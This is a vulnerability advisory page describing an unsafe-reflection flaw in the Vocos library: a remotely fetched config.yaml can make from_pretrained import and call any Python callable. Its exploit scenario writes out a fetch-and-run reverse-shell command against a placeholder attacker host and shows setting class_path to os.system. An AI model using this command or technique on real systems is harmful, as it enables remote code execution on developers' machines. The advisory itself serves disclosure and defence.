Skip to main content

Vocos EUVDEUVD-2026-65542

| CVE-2026-79784 HIGH
Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') (CWE-470)
2026-08-25 VulnCheck GHSA-697j-x98h-3qgg
8.6
CVSS 4.0 · Vendor: VulnCheck
Share

Severity by source

Vendor (VulnCheck) PRIMARY
8.6 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
8.8 HIGH

Network vector with no privileges needed, but user must actively invoke from_pretrained with an attacker-supplied repository name, requiring UI:R.

3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
A
Scope
X

Lifecycle Timeline

2
Analysis Generated
Aug 25, 2026 - 16:08 vuln.today
CVE Published
Aug 25, 2026 - 15:16 cve.org
HIGH 8.6

DescriptionCVE.org

Vocos instantiates a class named by a configuration file without restricting which class may be named. instantiate_class in vocos/pretrained.py takes the class_path value from the configuration, splits it into a module and an attribute, imports the module with __import__, resolves the attribute with getattr, and calls the result as args_class(*args, **kwargs) where kwargs is the config's own init_args mapping. No allowlist constrains the dotted path, so a configuration may name any importable callable and supply the arguments it is called with. Vocos.from_hparams reaches this for each of the feature_extractor, backbone and head entries, and Vocos.from_pretrained reaches it with a remote file: it downloads config.yaml from a caller-named Hugging Face repository and passes it straight to from_hparams. Loading a model from a repository the user does not control therefore executes code of the repository owner's choosing in the loading process. The neighbouring torch.load of the downloaded weights is a separate matter and is constrained on PyTorch releases that default weights_only to true, which leaves this path as the reachable one.

AnalysisAI

Unsafe dynamic class instantiation in Vocos allows arbitrary code execution when a user loads a model from an attacker-controlled Hugging Face repository. The library's Vocos.from_pretrained fetches a remote config.yaml from a caller-supplied repository and passes it directly to instantiate_class, which imports and calls any Python callable named in the configuration without an allowlist. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Recon
Register malicious Hugging Face repository
Delivery
Craft config.yaml with arbitrary class_path
Exploit
Trick victim into calling from_pretrained
Install
Library fetches remote config without validation
C2
__import__ loads attacker-specified module
Execute
Attacker callable executes with supplied init_args
Impact
Full code execution in victim process

Vulnerability AssessmentAI

Exploitation Exploitation requires the victim to call `Vocos.from_pretrained` with a repository name that resolves to an attacker-controlled Hugging Face repository - the attacker must either own that repository or have write access to it. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:A) scores 8.6, reflecting that exploitation requires no special network position and no authentication, but does require the victim to actively invoke `from_pretrained` with an attacker-supplied repository name - the UI:A requirement is the principal limiting factor. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker publishes a Hugging Face model repository containing a crafted `config.yaml` that sets the `feature_extractor.class_path` to `os.system` with `init_args` containing a reverse-shell command. A developer or automated pipeline calls `Vocos.from_pretrained('attacker/malicious-vocos-model')`, the library fetches the config without validation, imports `os`, calls `os.system('curl attacker.com/shell.sh | bash')`, and the attacker gains code execution in the victim's Python process. …
Remediation No vendor-released patch has been identified at time of analysis; the upstream issue is tracked at https://github.com/gemelo-ai/vocos/issues/76. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours, audit all systems using the Vocos library and identify the sources of voice models in use; immediately restrict model loading to internally-maintained, air-gapped repositories only. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

Share

EUVD-2026-65542 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy